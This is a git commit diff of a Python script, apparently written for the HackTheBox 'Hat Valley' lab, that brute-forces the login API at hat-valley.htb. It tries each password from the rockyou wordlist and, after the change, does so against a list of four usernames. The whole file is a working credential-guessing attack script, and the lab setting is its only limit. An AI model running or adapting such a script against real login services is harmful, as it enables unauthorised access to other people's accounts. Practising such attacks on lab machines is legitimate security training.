This commit is contained in:
quoije
2022-10-26 04:43:59 -04:00
parent 224dd91b12
commit d20752246e
+9 -8
View File
@@ -2,7 +2,7 @@ from requests import post
import time import time
wordlist = "/usr/share/wordlists/rockyou.txt" wordlist = "/usr/share/wordlists/rockyou.txt"
usern = "bean.hill" usrn = ["bean.hill", "christine.wool", "christopher.jones", "jackson.lightheart"]
def ayy(username, password): def ayy(username, password):
endpoint = "http://hat-valley.htb/api/login" endpoint = "http://hat-valley.htb/api/login"
@@ -20,11 +20,12 @@ with open(wordlist,'r') as mariob:
for passWL in mariob: for passWL in mariob:
if found == False: if found == False:
for pasw in passWL.split(): for pasw in passWL.split():
print("[+++] testing " + usern + ":" + pasw) for usernames in usrn:
if ayy(usern, pasw) == "Incorrect username or password": print("[+++] testing " + usernames + ":" + pasw)
print("[+] Found?: " + str(found)) if ayy(usernames, pasw) == "Incorrect username or password":
time.sleep(.01) print("[+] Found?: " + str(found))
else: time.sleep(.01)
found = True else:
print("[+] Found?: " + str(found) + " | password: " + pasw) found = True
print("[+] Found?: " + str(found) + " | password: " + pasw)
else: exit() else: exit()